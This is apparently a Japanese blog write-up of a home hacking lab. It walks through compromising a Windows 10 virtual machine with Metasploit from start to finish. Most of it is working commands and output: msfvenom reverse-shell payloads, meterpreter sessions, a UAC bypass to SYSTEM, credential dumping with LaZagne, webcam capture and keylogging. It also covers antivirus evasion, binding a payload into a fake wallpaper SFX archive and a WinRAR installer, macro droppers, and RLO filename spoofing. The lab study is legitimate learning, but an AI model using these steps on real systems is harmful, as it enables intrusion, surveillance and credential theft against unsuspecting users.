「#ゆるいハッキング大会」に参加した。
ハッキング熱が高まった。
「ハッキング・ラボのつくりかた」を勢いで購入。
今回は、ハッキング・ラボの作り方に載っているWindows10のやり方の、
・Exploit
・情報奪取
・権限昇格
・バックドア設置
・アンチウィルス回避
・バインド(ペイロードに別ファイルを結合)
の流れ。
アンチウィルス回避とバインドは、なかなかうまくいかない。
お約束
本記事は、
・防御の為に敵の攻撃を知る
・技術力向上
を目的としている為、記載内容を悪用する事は禁じます。
記載内容を実行した結果として生じた全ての事に、私は一切責任を負いません。
環境について
0.自分のノートPC
HP HP Spectre x360 Convertible 13-ac0XX/827E, BIOS F.31 04/27/2017
Linux dsnote 4.15.0-48-generic #51~16.04.1-Ubuntu SMP Fri Apr 5 12:01:12 UTC 2019 x86_64 GNU/Linux
1. KaliLinux
ハック技術: KaliLinux on Docker - Qiita
2. Windows10
ハック技術: Windows10ハック #1VirtualBoxで環境セットアップ編 (on Ubuntu)編 - Qiita
エディション:Windows 10 October 2018 Update
Kali on dockerでGUIアプリを使う為に設定変更
後にWin10のスクリーンショットを取るので、先に設定変更しておく。
Dockerコンテナの中でGUIアプリケーションを起動させる - Unskilled?
そのままだと、dockerのkaliではGUIアプリを表示不可能なので、dockerの起動時のパラメータを変更する。
docker commit
して今のイメージをmy-kali-linux:2
として作って、以下のコマンドを実行。
$ sudo docker run -it -d --rm --name kali --net="host" --privileged -e DISPLAY=$DISPLAY -v /tmp/.X11-unix/:/tmp/.X11-unix my-kali-linux:2 /bin/bash
$ xhost local:
Exploit
Kaliでペイロード作成
# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.28.128.1 -f exe -o /root/evil2.exe
# cp evil2.exe /var/www/html/share/
# service apache2 restart
Win10のEdgeで、http://172.28.128.1/share/ にアクセスして、evil2.exeをダウンロード。
Windows Defender セキュリティーセンター リアルタイム保護
「ハッキング・ラボのつくりかた」の設定では、リアルタイム保護ありでもダウンロード出来る様子。
今回のセットアップでは、リアルタイム保護があると、evil2.exeをダウンロードしても検疫されて駆除される。
Pattern 1: -> 検疫・駆除
(本では => リアルタイム保護:DL時あり、実行時あり => 「このアプリはお使いのPCでは実行できません」
Pattern 2: -> 検疫・駆除
(本では => リアルタイム保護:DL時あり、実行時なし => 「このアプリはお使いのPCでは実行できません」
Pattern 3:
リアルタイム保護:DL時なし、実行時あり => 「ファイルにウィルスまたは望ましくない可能性のあるソフトウェアが含まれているため、操作は正常に完了しませんでした」というエラーダイアログが表示される。さらに、検疫・駆除される。
Pattern 4:
リアルタイム保護:DL時なし、実行時なし => 初回実行時にSmartScreenの警告画面が出るが、強制的に実行可能なので、そこで実行するとMeterpreterセッションが確立する。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.28.128.1:4444
msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 172.28.128.4
[*] Meterpreter session 2 opened (172.28.128.1:4444 -> 172.28.128.4:50630) at 2019-05-05 10:41:33 +0000
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x64/windows DESKTOP-5UK4SPV\test @ DESKTOP-5UK4SPV 172.28.128.1:4444 -> 172.28.128.4:50630 (172.28.128.4)
msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: DESKTOP-5UK4SPV\test
meterpreter > ls
Listing: C:\Users\test\Downloads
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2019-05-05 09:01:58 +0000 desktop.ini
100777/rwxrwxrwx 7168 fil 2019-05-05 10:03:22 +0000 evil2.exe
情報奪取
1. ファイルの取得
Win側で、適当にファイル(password.txt)を作ってそれをダウンロードしてみる。
meterpreter > ls
Listing: C:\Users\test\Downloads
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2019-05-05 09:01:58 +0000 desktop.ini
100777/rwxrwxrwx 7168 fil 2019-05-05 10:03:22 +0000 evil2.exe
100666/rw-rw-rw- 7 fil 2019-05-05 10:13:12 +0000 password.txt
meterpreter > download password.txt
[*] Downloading: password.txt -> password.txt
[*] Downloaded 7.00 B of 7.00 B (100.0%): password.txt -> password.txt
[*] download : password.txt -> password.txt
# cat password.txt
Wow!!!!
2. スクリーンショットの撮影
撮影
meterpreter > screenshot
Screenshot saved to: /root/bifKkVfR.jpeg
表示
# apt install feh -y
# feh bifKkVfR.jpeg
権限昇格
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
権限昇格に失敗するので、UAC機能を回避するモジュールを使用する。
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > search bypassuac
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass
2 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent Yes Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
3 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
4 exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Yes Windows UAC Protection Bypass (Via FodHelper Registry Key)
5 exploit/windows/local/bypassuac_injection 2010-12-31 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection)
6 exploit/windows/local/bypassuac_injection_winsxs 2017-04-06 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
7 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack)
8 exploit/windows/local/bypassuac_vbs 2015-08-22 excellent No Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
日付が新しくて、excellentのやつを選ぶ。
exploit/windows/local/bypassuac_sluihijackを使う。
こいつはデフォルトでhttpsでポート8443を使ってアクセスしてくる様なので、ローカルでポート8443/tcpを許可しておく。
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_sluihijack
msf5 exploit(windows/local/bypassuac_sluihijack) > show targets
Exploit targets:
Id Name
-- ----
0 Windows x86
1 Windows x64
msf5 exploit(windows/local/bypassuac_sluihijack) > set target 1
target => 1
msf5 exploit(windows/local/bypassuac_sluihijack) > set session 7
session => 7
msf5 exploit(windows/local/bypassuac_sluihijack) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf5 exploit(windows/local/bypassuac_sluihijack) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(windows/local/bypassuac_sluihijack) > show options
Module options (exploit/windows/local/bypassuac_sluihijack):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 7 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.28.128.1 yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
1 Windows x64
msf5 exploit(windows/local/bypassuac_sluihijack) > exploit
[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: powershell Start-Process C:\Windows\System32\slui.exe -Verb runas
[*] https://172.28.128.1:8443 handling request from 172.28.128.4; (UUID: 6xgjgvbr) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 8 opened (172.28.128.1:8443 -> 172.28.128.4:50723) at 2019-05-05 11:25:52 +0000
[*] Cleaining ...
meterpreter >
no sessions was created.
の場合はexploitに失敗しているが、meterpreterプロンプトが返って来たので成功している。
失敗する場合は、exploit/windows/local/bypassuac_injection_winsxsモジュールも使えるのでこちらも使ってみる。
meterpreter >
meterpreter > pwd
C:\Windows\system32
meterpreter > getuid
Server username: DESKTOP-5UK4SPV\test
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
バックドア設置
Win7の時と同様にpersistence等でバックドアを設置。
ハック技術: Windows7ハック #3 Exploit、情報奪取、権限昇格、バックドア設置、ログ消し編 - Qiita
Win10の場合、再起動した後にリアルタイム保護が再度有効になる為、次回起動時に検疫・駆除される可能性大。
ターゲット端末のWEBカメラの映像を取得
VirtualBoxにExtensionPackを入れていると、デバイス>Webカメラ>...でWin側でカメラを使える。
ターゲット端末は、カメラが使える前提とする。
# apt install cheese
ユーザー権限のセッションに切り替えて、カメラ映像取得。
cheeseはデフォルトでポート5355/tcpを使うので、ローカルで開けておく。
meterpreter > background
meterpreter > session -i 1 (ユーザー権限のセッション
meterpreter > webcam_list
1: VirtualBox Webcam - HP TrueVision FHD RGB-IR: HP Tr
meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: /root/GBUWuTvs.html
[*] Streaming...
ブラウザが立ち上がって、webカメラのストリーム映像が流れる。
情報奪取(権限昇格後
1. パスワード探し
lazagne.exeをkaliにダウンロード。
# wget https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.2/lazagne.exe
meterpreter > pwd
C:\Users\test\Downloads
meterpreter > upload lazagne.exe
[*] uploading : lazagne.exe -> lazagne.exe
[*] Uploaded 5.47 MiB of 5.47 MiB (100.0%): lazagne.exe -> lazagne.exe
[*] uploaded : lazagne.exe -> lazagne.exe
meterpreter > shell
Process 2636 created.
Channel 3 created.
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\test\Downloads>dir
dir
�h���C�u C �̃{�����[�� ���x���������܂����B
�{�����[�� �V���A���ԍ��� 4ACD-8175 �ł�
C:\Users\test\Downloads �̃f�B���N�g��
2019/05/05 22:40 <DIR> .
2019/05/05 22:40 <DIR> ..
2019/05/05 22:40 5,735,701 lazagne.exe
2019/05/05 19:13 7 password.txt
2 �̃t�@�C�� 5,735,708 �o�C�g
2 �̃f�B���N�g�� 39,327,277,056 �o�C�g�̋̈�
C:\Users\test\Downloads>lazagne.exe
lazagne.exe
usage: lazagne.exe [-h] [-version]
{chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php}
...
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
positional arguments:
{chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php}
Choose a main command
chats Run chats module
mails Run mails module
all Run all modules
git Run git module
svn Run svn module
windows Run windows module
wifi Run wifi module
maven Run maven module
sysadmin Run sysadmin module
browsers Run browsers module
games Run games module
multimedia Run multimedia module
memory Run memory module
databases Run databases module
php Run php module
optional arguments:
-h, --help show this help message and exit
-version laZagne version
C:\Users\test\Downloads>lazagne.exe all
lazagne.exe all
(略
[+] 0 passwords have been found.
For more information launch it again with the -v option
elapsed time = 2.15600013733
Password found!!!
と表示されると見つかった証拠。
巧妙なアップロード先としては、
- システムが利用するフォルダー
・C:\Windows\system32
・C:\Windows - ユーザが普段確認しないフォルダー
・Tempフォルダ
・ゴミ箱 C:$Recycle.Bin - ソフトウェアインストールフォルダ
・C:\Program Files
2. ブラウザ履歴
msf5 exploit(windows/local/bypassuac_sluihijack) > use post/windows/gather/forensics/browser_history
msf5 post(windows/gather/forensics/browser_history) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DESKTOP-5UK4SPV 172.28.128.1:8443 -> 172.28.128.4:49795 (172.28.128.4)
msf5 post(windows/gather/forensics/browser_history) > set session 4
session => 4
msf5 post(windows/gather/forensics/browser_history) > show options
Module options (post/windows/gather/forensics/browser_history):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 4 yes The session to run this module on.
msf5 post(windows/gather/forensics/browser_history) > run
[*] Gathering user profiles
[*] Checking for Chrome History artifacts...
[-] Chrome History directory not found for test
[*] Checking for Chrome Archived History artifacts...
[-] Chrome Archived History directory not found for test
[*] Checking for Skype artifacts...
[-] Skype directory not found for test
[*] Checking for Firefox artifacts...
[-] Firefox directory not found for test
[*] Post module execution completed
msf5 post(windows/gather/forensics/browser_history) >
今回は何も取れなかったが、各種ブラウザがあれば取れているのだろう。
3. MRUの取得
Most Recently Used: 最近使ったリスト
ターゲットの最近の行動を知ることができる。ソーシャルエンジニアリング。
meterpreter > reg enumkey -k HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\(KEY)
(KEY) = RunMRU or TypedPaths or FindComputerMRU or Doc Find Spec MRU or PrnPortsMRU or StreamMRU
環境によってレジストリキーが存在しない。
今回は全て無かった。
アンチウィルスを回避する
なかなか本のとおりにはいかないようだ。
Veil Frameworkを使用する
# apt install veil-evasion
Windows Defenderのリアルタイム保護を回避する
Veil Frameworkで生成した"evil3.bat"は、ダウンロード時にウィルスとして検知されないと、本には書いてあるが、
本のとおりにやってみると、WindowsDefenderによって検疫・駆除された。(2019/05/06現在)
恐らくウィルスの定義ファイルが更新されている。
本では、ペイロードを実行するとPattern 4の流れになり、セッションが確立する。
ペイロードに別ファイルを結合する
Shellterでペイロードとexeファイルをバインドする
winrar 5.71
https://www.win-rar.com/download.html?&L=0
をダウンロードしておく。
# apt install shellter
# shellter
別画面が立ち上がる。以下の順で入力。
- A
- /root/wrar571.exe
- Y
- L
- 1
- 172.128.28.1
- 4444
# cp wrar571.exe /var/www/html/share/
https://www.virustotal.com/ja/ 等のサイトにアップロードして、どれくらいのウィルスの検出システムにひっかかるか検査可能。
この辺りは、いろいろ工夫ができる部分かもしれない。
#####リアルタイム保護有効時
ダウンロード時にウィルス検知されない。(システムの環境によっては検知される。
実行時にMeterpreterセッションが一瞬確立するが、振る舞いがMeterpreterであると検知され、セッションが閉じられる。
#####リアルタイム保護無効時
ダウンロード時にウィルス検知されず、セッションも確立する。
インストーラーを閉じるとセッションも閉じる。
本ではこう書いてあるが、今回の環境ではリアルタイム保護ありの時と同じ振る舞いのようだ。
WinRARでペイロードと画像ファイルをバインドする
この方法でやってみても、Meterpreterセッションが一瞬確立するが、セッションが閉じられた。
ペイロード作成
#msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=172.28.128.1 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff' -o /root/evil4.exe
- wallpaper.jpg
- wallpaper.ico
- evil.exe
をバインドする。
ico化は、色んなサイトで可能。
https://www.icoconverter.com とか。
バインド
- wallpaper.jpgとwallpaper.icoを選択状態で'Add to archive'。
- General> ArchiveName amazing_wallpaper.rar
ArchiveOptions Create SFX archive - Advanced > SFX Options
Run after extraction>
evil4.exe
wallpaper.jpg
Mode>
silient mode = hide all
Text and icon>
browse> wallpaper.ico
Update>
UpdateMode = extract and update files
overwritemode = overwrite all files
ファイル名をamazing_wallpaper.jpg.exeに変更
リバースシェル待受け
amazing_wallpaper.jpg.exeを実行
ExcelやWordファイルにペイロードをバインドする
マクロを使う。
MacroShop
# git clone https://github.com/khr0x40sh/MacroShop.git
# cd MacroShop
# ./macro_safe.py ../evil3.bat ../script.txt
script.txtをExcel開いてマクロとして設定する。
リバースシェル待受け
マクロ実行
RLO(Right-to-Left Override)による拡張子の偽造
Unicodeの制御文字「U+202E」。文字の流れを右から左に変えられる。
tecfdp.exe -> tecexe.pdfと表示できる。
amazing_wallpaper.jpg.exe -> amazing_wallpaper.exe.jpg
キーロガーで情報を奪取する
ユーザー権限セッションで可能。
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
本格的にするならこっち
msf5 exploit(multi/handler) > use post/windows/capture/keylog_recorder
msf5 post(windows/capture/keylog_recorder) > set session 21
session => 21
msf5 post(windows/capture/keylog_recorder) > show options
Module options (post/windows/capture/keylog_recorder):
Name Current Setting Required Description
---- --------------- -------- -----------
CAPTURE_TYPE explorer no Capture keystrokes for Explorer, Winlogon or PID (Accepted: explorer, winlogon, pid)
INTERVAL 5 no Time interval to save keystrokes in seconds
LOCKSCREEN false no Lock system screen.
MIGRATE false no Perform Migration.
PID no Process ID to migrate to
SESSION 21 yes The session to run this module on.
msf5 post(windows/capture/keylog_recorder) > run
[*] Executing module against DESKTOP-5UK4SPV
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20190506105117_default_172.28.128.4_host.windows.key_709857.txt
[*] Recording keystrokes...
ログファイルをtail -f で見ると良い。
##おわり